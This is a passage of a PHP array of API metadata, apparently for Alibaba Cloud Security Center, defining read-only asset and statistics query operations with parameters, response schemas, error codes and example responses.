\\"0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\",\\n \\"AssetsSummary\\": {\\n \\"TotalCoreNum\\": 1022,\\n \\"TotalAssetAllRegion\\": 2064,\\n \\"TotalCoreAllRegion\\": 3200\\n }\\n}","type":"json"}]', 'title' => 'DescribeAssetSummary', ], 'DescribeAllEntity' => [ 'summary' => 'Queries the information about all assets. The information includes asset group IDs and asset names.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'EntityList' => [ 'description' => 'An array that consists of servers.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'GroupId' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '281801', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '172.19.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'abc', ], 'Ip' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '101.132.XX.XX', ], 'Os' => [ 'description' => 'The operating system of the server. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n", 'type' => 'string', 'example' => 'windows', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '100.104.XX.XX', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"EntityList\\": [\\n {\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"GroupId\\": 281801,\\n \\"InternetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"abc\\",\\n \\"Ip\\": \\"101.132.XX.XX\\",\\n \\"Os\\": \\"windows\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 04A9E7B7-877A-40C7-BC0F-A08AFEA2260A\\n \\n abc\\n d74e88b1-d05c-4a2c-ba27-70f2ea8c****\\n windows\\n 101.132.XX.XX\\n 101.132.XX.XX\\n 172.19.XX.XX\\n 9165712\\n \\n \\n efg\\n 2ad45cd7-a1d5-4954-9871-a2f74f13****\\n linux\\n 47.99.XX.XX\\n 47.99.XX.XX\\n 192.168.XX.XX\\n 9569544\\n \\n","errorExample":""}]', 'title' => 'DescribeAllEntity', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeFieldStatistics' => [ 'summary' => 'Queries the statistics of servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92081', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the region in which the asset resides.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset to query. If no asset types are specified, all types of assets are returned. Valid values:'."\n" ."\n" .'* **ecs**: server'."\n" .'* **cloud_product**: Alibaba Cloud service'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the primary account of the Resource Directory member account.'."\n" .'> call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) interface to obtain this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'GroupedFields' => [ 'description' => 'The information about servers that are returned.'."\n", 'type' => 'object', 'properties' => [ 'OfflineInstanceCount' => [ 'description' => 'The number of servers whose Security Center agent status is Offline.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '21', ], 'NoRiskInstanceCount' => [ 'description' => 'The number of servers on which no risks are detected.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnKnowStatusInstanceCount' => [ 'description' => 'The number of servers that are in the Unknown state.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RegionCount' => [ 'description' => 'The number of regions to which the servers belong.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'NewInstanceCount' => [ 'description' => 'The number of newly added servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'ExposedInstanceCount' => [ 'description' => 'The number of exposed servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GroupCount' => [ 'description' => 'The number of server groups.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TencentInstanceCount' => [ 'description' => 'The total number of cloud services that are protected by Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'GeneralAssetCount' => [ 'description' => 'The number of assets whose importance is common.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'InstanceSyncTaskCount' => [ 'description' => 'The total number of tasks for the specified type of assets. If no asset types are specified, this parameter indicates the total number of all servers and Alibaba Cloud services within your account.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnprotectedInstanceCount' => [ 'description' => 'The number of unprotected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'ImportantAssetCount' => [ 'description' => 'The number of assets whose importance is important.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TestAssetCount' => [ 'description' => 'The number of assets whose importance is test.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'VpcCount' => [ 'description' => 'The number of virtual private clouds (VPCs).'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'InstanceCount' => [ 'description' => 'The total number of assets of the specified type. If no asset types are specified, this parameter indicates the total number of all servers and Alibaba Cloud services within your account.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'PauseInstanceCount' => [ 'description' => 'The number of servers for which the Security Center agent suspends protection.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'IdcInstanceCount' => [ 'description' => 'The number of assets that can be protected by Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'NotRunningStatusCount' => [ 'description' => 'The number of servers that are shut down.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AliYunInstanceCount' => [ 'description' => 'The number of assets that are deployed on Alibaba Cloud.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RiskInstanceCount' => [ 'description' => 'The number of assets that are at risk.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '90', ], 'HuaweiInstanceCount' => [ 'description' => 'The number of instances that are provisioned by third-party providers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AwsInstanceCount' => [ 'description' => 'The number of servers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'OutMachineInstanceCount' => [ 'description' => 'The number of servers outside the cloud.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TripartiteInstanceCount' => [ 'description' => 'The number of simple application servers.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AzureInstanceCount' => [ 'description' => 'The number of third-party cloud servers.', 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'InstanceCoreCount' => [ 'description' => 'The number of cores of assets in the specified asset type. If the asset type is not specified, the value of this parameter indicates the total number of cores of servers and Alibaba Cloud services within your account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '301', ], 'RiskInstanceCoreCount' => [ 'description' => 'The number of cores of vulnerable assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '201', ], 'ExposedInstanceCoreCount' => [ 'description' => 'The number of cores of exposed assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'UnprotectedInstanceCoreCount' => [ 'description' => 'The number of cores of unprotected assets.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'NotRunningStatusCoreCount' => [ 'description' => 'The number of cores of servers that are not started.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'NewInstanceCoreCount' => [ 'description' => 'The number of cores of new servers.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '30', ], 'NotBindMachineInstanceCount' => [ 'description' => 'The number of assets that are not added to Security Center of the specified asset type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'VolcengineInstanceCount' => [ 'description' => 'The number of instances that are provisioned by third-party providers.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'GoogleInstanceCount' => [ 'type' => 'integer', 'format' => 'int32', 'description' => 'The number of instances that are provisioned by third-party providers.', 'example' => '10', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"GroupedFields\\": {\\n \\"OfflineInstanceCount\\": 21,\\n \\"NoRiskInstanceCount\\": 10,\\n \\"UnKnowStatusInstanceCount\\": 1,\\n \\"RegionCount\\": 11,\\n \\"NewInstanceCount\\": 10,\\n \\"ExposedInstanceCount\\": 1,\\n \\"GroupCount\\": 20,\\n \\"TencentInstanceCount\\": 10,\\n \\"GeneralAssetCount\\": 10,\\n \\"InstanceSyncTaskCount\\": 10,\\n \\"UnprotectedInstanceCount\\": 10,\\n \\"ImportantAssetCount\\": 10,\\n \\"TestAssetCount\\": 10,\\n \\"VpcCount\\": 5,\\n \\"InstanceCount\\": 100,\\n \\"PauseInstanceCount\\": 10,\\n \\"IdcInstanceCount\\": 100,\\n \\"NotRunningStatusCount\\": 10,\\n \\"AliYunInstanceCount\\": 100,\\n \\"RiskInstanceCount\\": 90,\\n \\"HuaweiInstanceCount\\": 0,\\n \\"AwsInstanceCount\\": 100,\\n \\"OutMachineInstanceCount\\": 20,\\n \\"TripartiteInstanceCount\\": 2,\\n \\"AzureInstanceCount\\": 5,\\n \\"InstanceCoreCount\\": 301,\\n \\"RiskInstanceCoreCount\\": 201,\\n \\"ExposedInstanceCoreCount\\": 30,\\n \\"UnprotectedInstanceCoreCount\\": 30,\\n \\"NotRunningStatusCoreCount\\": 30,\\n \\"NewInstanceCoreCount\\": 30,\\n \\"NotBindMachineInstanceCount\\": 10,\\n \\"VolcengineInstanceCount\\": 10,\\n \\"GoogleInstanceCount\\": 10\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 988AF6BE-4823-436D-8339-4D9ADF7DFEB6\\n \\n 200\\n 67\\n 26\\n 43\\n 106\\n 27\\n 23\\n 11\\n 179\\n 11\\n 10\\n 68\\n \\n","errorExample":""}]', 'title' => 'DescribeFieldStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeGroupedTags' => [ 'summary' => 'Queries the statistics of asset tags.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92087', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset to query. If you do not specify this parameter, the tags of all asset types are queried. Valid values:'."\n" ."\n" .'* **ecs**: server'."\n" .'* **cloud_product**: Alibaba Cloud service'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'HttpStatusCode' => [ 'description' => 'The HTTP status code of the request.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975DB586', ], 'Success' => [ 'description' => 'Indicates whether the request is successful. Valid values:'."\n" ."\n" .'* **true**: The request is successful.'."\n" .'* **false**: The request fails.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Count' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'GroupedFileds' => [ 'description' => 'An array that consists of the statistics of the asset tags.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the tag.'."\n", 'type' => 'string', 'example' => 'InternetIp', ], 'Count' => [ 'description' => 'The number of assets to which the tag is added.'."\n", 'type' => 'string', 'example' => '152', ], 'TagId' => [ 'description' => 'The ID of the tag.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3252366', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\",\\n \\"Success\\": true,\\n \\"Count\\": 0,\\n \\"GroupedFileds\\": [\\n {\\n \\"Name\\": \\"InternetIp\\",\\n \\"Count\\": \\"152\\",\\n \\"TagId\\": 3252366\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeGroupedTags', ], 'DescribeAllGroups' => [ 'summary' => 'Queries the information about server groups.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The natural language of the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of server groups.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'Groups' => [ 'description' => 'The grouping information about the servers.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'GroupName' => [ 'description' => 'The name of the server group.'."\n", 'type' => 'string', 'example' => 'abc', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8834224', ], 'GroupFlag' => [ 'description' => 'The type of the server group. Valid values:'."\n" ."\n" .'* **0**: default group'."\n" .'* **1**: other groups'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Groups\\": [\\n {\\n \\"GroupName\\": \\"abc\\",\\n \\"GroupId\\": 8834224,\\n \\"GroupFlag\\": 1\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2E713E1D-1A0F-4B35-B377-99D144A1EFFE\\n \\n 未分组\\n 0\\n 9207613\\n \\n \\n abc\\n 1\\n 9325310\\n \\n \\n efg\\n 1\\n 9454789\\n \\n \\n hij\\n 1\\n 9535356\\n \\n 4\\n","errorExample":""}]', 'title' => 'DescribeAllGroups', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeInstanceStatistics' => [ 'summary' => 'Queries the statistics of assets that are protected by Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92124', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the assets to query. Separate multiple UUIDs with commas (,). You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of assets.'."\n", 'type' => 'string', 'required' => true, 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The source of the request. Set the value to **sas**, which indicates that the request is sent from Security Center.'."\n", 'type' => 'string', 'required' => true, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '8F035A9D-D19F-5430-8CA5-1497991B7C61', ], 'Data' => [ 'description' => 'The risk information about assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk information about the asset.'."\n", 'type' => 'object', 'properties' => [ 'Account' => [ 'description' => 'The number of unusual logons to the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AppNum' => [ 'description' => 'The number of application vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScaNum' => [ 'description' => 'The number of middleware vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Trojan' => [ 'description' => 'The number of trojans detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CveNum' => [ 'description' => 'The number of common vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EmgNum' => [ 'description' => 'The number of urgent vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'CmsNum' => [ 'description' => 'The number of Web-CMS vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'Vul' => [ 'description' => 'The total number of vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], 'Health' => [ 'description' => 'The number of baseline risks detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'SysNum' => [ 'description' => 'The number of Windows system vulnerabilities detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'WeakPWNum' => [ 'description' => 'The number of weak passwords.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'AgentlessAll' => [ 'description' => 'The number of alerts generated by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '13', ], 'AgentlessMalicious' => [ 'description' => 'The number of malicious samples detected by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'AgentlessVulCve' => [ 'description' => 'The number of system vulnerabilities detected by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AgentlessVulSca' => [ 'description' => 'The number of application vulnerabilities detected by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AgentlessBaseline' => [ 'description' => 'The number of baseline risks detected by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'CspmNum' => [ 'description' => 'The number of configuration risks detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AgentlessVulSys' => [ 'description' => 'The number of Windows vulnerabilities detected by using agentless detection.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AgentlessSensitiveFile' => [ 'description' => 'The number of sensitive file alerts generated by the agentless detection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Suspicious' => [ 'description' => 'The number of alerts generated for the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RemindSuspiciousNum' => [ 'description' => 'Number of security alerts for asset existence reminders.', 'type' => 'string', 'example' => '1', ], 'SuspectSuspiciousNum' => [ 'description' => 'Number of suspicious security alerts for the asset.', 'type' => 'string', 'example' => '1', ], 'SeriousSuspiciousNum' => [ 'description' => 'Number of high-risk security alerts for the asset.', 'type' => 'string', 'example' => '2', ], 'SysAsapVulCount' => [ 'description' => 'Number of system vulnerabilities in the asset.', 'type' => 'string', 'example' => '1', ], 'CspmHighRiskNum' => [ 'description' => 'Number of high-risk CSPM issues in the system', 'type' => 'string', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8F035A9D-D19F-5430-8CA5-1497991B7C61\\",\\n \\"Data\\": [\\n {\\n \\"Account\\": 0,\\n \\"AppNum\\": 1,\\n \\"ScaNum\\": 1,\\n \\"Trojan\\": 1,\\n \\"CveNum\\": 1,\\n \\"EmgNum\\": 6,\\n \\"CmsNum\\": 5,\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"Vul\\": 17,\\n \\"Health\\": 2,\\n \\"SysNum\\": 3,\\n \\"WeakPWNum\\": 22,\\n \\"AgentlessAll\\": 13,\\n \\"AgentlessMalicious\\": 3,\\n \\"AgentlessVulCve\\": 1,\\n \\"AgentlessVulSca\\": 1,\\n \\"AgentlessBaseline\\": 2,\\n \\"CspmNum\\": 1,\\n \\"AgentlessVulSys\\": 1,\\n \\"AgentlessSensitiveFile\\": 1,\\n \\"Suspicious\\": 2,\\n \\"RemindSuspiciousNum\\": \\"1\\",\\n \\"SuspectSuspiciousNum\\": \\"1\\",\\n \\"SeriousSuspiciousNum\\": \\"2\\",\\n \\"SysAsapVulCount\\": \\"1\\",\\n \\"CspmHighRiskNum\\": \\"1\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8F035A9D-D19F-5430-8CA5-1497991B7C61\\n \\n 0\\n 1\\n 1\\n 1\\n 1\\n 6\\n 2\\n 5\\n 6690a46c-0edb-4663-a641-3629d1a9****\\n 17\\n 2\\n 3\\n \\n","errorExample":""}]', 'title' => 'DescribeInstanceStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeCloudProductFieldStatistics' => [ 'summary' => 'Queries the statistics of cloud services whose instances are protected by Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92022', 'abilityTreeNodes' => [ 'FEATUREsasLFD8D4', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'GroupedFields' => [ 'description' => 'The statistics of cloud services that are protected by Security Center.'."\n", 'type' => 'object', 'properties' => [ 'CategoryCount' => [ 'description' => 'The statistics of different types of assets. **MachineType** indicates the type of the asset. **Count** indicates the number of assets of a specific type.'."\n" ."\n" .'Valid values of **MachineType**:'."\n" ."\n" .'* **1**: Server Load Balancer (SLB) instance'."\n" .'* **2**: NAT gateway instance'."\n" .'* **3**: ApsaraDB RDS instance'."\n" .'* **4**: ApsaraDB for MongoDB instance'."\n", 'type' => 'string', 'example' => '[{"MachineType":1,"Count":11}]', ], 'InstanceCount' => [ 'description' => 'The total number of cloud services that are protected by Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RiskInstanceCount' => [ 'description' => 'The number of cloud services that are at risk.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '90', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::GetCloudAssetSummary', ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"GroupedFields\\": {\\n \\"CategoryCount\\": \\"[{\\\\\\"MachineType\\\\\\":1,\\\\\\"Count\\\\\\":11}]\\",\\n \\"InstanceCount\\": 100,\\n \\"RiskInstanceCount\\": 90\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n A2305077-05D4-4B77-9FEB-E7AB98DC2EF3\\n \\n 23\\n \\n 7\\n 1\\n \\n \\n 15\\n 2\\n \\n \\n 1\\n 3\\n \\n 1\\n \\n","errorExample":""}]', 'title' => 'DescribeCloudProductFieldStatistics', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeDomainCount' => [ 'summary' => 'Queries the number of domain assets within your Alibaba Cloud account.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.172.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RootDomainsCount' => [ 'description' => 'The number of root domains.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', ], 'SubDomainsCount' => [ 'description' => 'The number of subdomains.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalDomainsCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RootDomainsCount\\": 5,\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\",\\n \\"SubDomainsCount\\": 5,\\n \\"TotalDomainsCount\\": 